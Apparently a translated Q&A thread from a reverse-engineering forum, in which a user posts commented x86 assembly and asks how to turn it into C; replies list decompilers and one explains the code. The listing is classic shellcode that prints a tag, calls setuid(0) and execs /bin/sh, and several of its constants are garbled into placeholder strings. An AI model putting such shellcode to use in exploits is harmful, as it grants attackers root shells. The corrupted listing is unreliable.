# using the .data section for write permission
# instead of .text section
.section .data
.globl _start
_start:
# displaying some characters for watermarking :-)
xor %eax,%eax # clear eax by setting eax to 0
xor %ebx,%ebx # clear ebx by setting ebx to 0
xor %edx,%edx # clear edx by setting edx to 0
push %ebx # push ebx into the stack, base pointer
# for the stack frame
push q4312078qxa696e55 # push U-n-i characters
push q4312078qx4d555544 # push M-U-U-D characters
push q4312078qx414d4841 # push A-M-H-A characters
movl %esp,%ecx # move the sp to ecx
movb q4312078qxf,%dl # move 15 to dl (low d), it is the string length,
# notice the use of movb - move byte, this is to avoid null
movb q4312078qx4,%al # move 4 to al (low l),
# 4 is system call number for
# write(int fd, char *str, int len)
int q4312078qx80 # call kernel/syscall
# setuid(0)
xor %eax,%eax # clear eax by setting eax to 0
xor %ebx,%ebx # clear ebx by setting ebx to 0
xor %ecx,%ecx # clear ecx by setting ecx to 0
movb q4312078qx17,%al # move 0x17 into al - setuid(0)
int q4312078qx80 # call kernel/syscall
jmp do_call # jump to get the address with the call trick
jmp_back:
pop %ebx # ebx (base pointer=stack frame pointer) has
# the address of our string, use it to index
xor %eax,%eax # clear eax by setting eax to 0
movb %al,7(%ebx) # put a null at the N or shell[7]
movl %ebx,8(%ebx) # put the address of our string (in ebx) into shell[8]
movl %eax,12(%ebx) # put the null at shell[12] our string now looks something like
# "/bin/shq4312078q(*ebx)(*0000)"
xor %eax,%eax # clear eax by setting eax to 0
movb ,%al # put 11 which is execve
# syscall number into al
leal 8(%ebx),%ecx # put the address of XXXX i.e. (*ebx) into ecx
leal 12(%ebx),%edx # put the address of YYYY i.e. (*0000) into edx
int q4312078qx80 # call kernel/syscall
do_call:
call jmp_back
shell:
.ascii "/bin/shNXXXXYYYY"
如何将其转换为C代码?
#1 楼
以下是一些可能会有用的反编译工具/资源的列表。IDA Pro + Hex-Rays反编译器
Hopper反汇编程序(具有反编译器)
ODA(在线反汇编程序)
可重新定向的反编译器
回旋镖(反编译器)
评论
我是否可以将as test.s -o test的输出反编译为C代码(命令行)?
–MLSC
2014年2月24日在9:29
那要看。如果test.s是从诸如cl.exe或gcc之类的C编译器生成的,则很可能可以找回与原始代码接近的C代码。如果是手工编写的汇编代码,则反汇编代码可能比汇编本身没有任何用处。
– pank4j
2014-02-25 2:34
好的..我正在使用gcc ...怎么可能?谢谢
–MLSC
2014-2-25在10:07
尝试在IDA Pro或Hopper中打开组装好的二进制文件。
– pank4j
2014年2月25日在16:04
#2 楼
您需要反编译器。我会对其进行编译并使用可重新定向的反编译器,这是完成此特定任务的最简单方法。
#3 楼
我只想添加这段代码的实际作用,因为它很简单。它旨在用作shellcode。一个相对标准的。它的作用是将一些内容写入AHMADUMinU到STDIN(?),该内容会打印在屏幕上,然后通过syscall 11继续执行/ bin / sh。这很容易遵循,因为已对其进行了评论。我之所以提到所有这些,是因为您将无法在“反编译的代码”中看到很多细节,就像这样: />有一个有趣的地方(旧的shellcoding技巧)。 shellcode需要NULL终止将在堆栈中某处的“ / bin / sh”字符串。为此,它需要获取地址。它通过打两个电话来做到这一点。调用将创建新的堆栈帧,此时可以弹出已保存的堆栈帧。
评论
它也早于shellcode。 DOS病毒执行相同的操作,通常将其称为“增量偏移”。
–百老汇
2014年2月27日在16:46
#4 楼
还有asm2c,它可用于汇编源代码而不是可执行文件或目标文件。将DOS汇编代码转换为C代码的工具编辑
评论
看起来像是破解或CTF。那我们应该做功课吗? :) ...我敢肯定有人会的。快来MortezaLSC,这一切都已被评论并且完全可以理解... RTFM!
@ 0xC0000022L我发现了...谢谢您的帮助
上面的用户:pank4j的答案,不包括下面的反编译器,它也可以将汇编源代码转换为C代码:Boomerang(反编译器)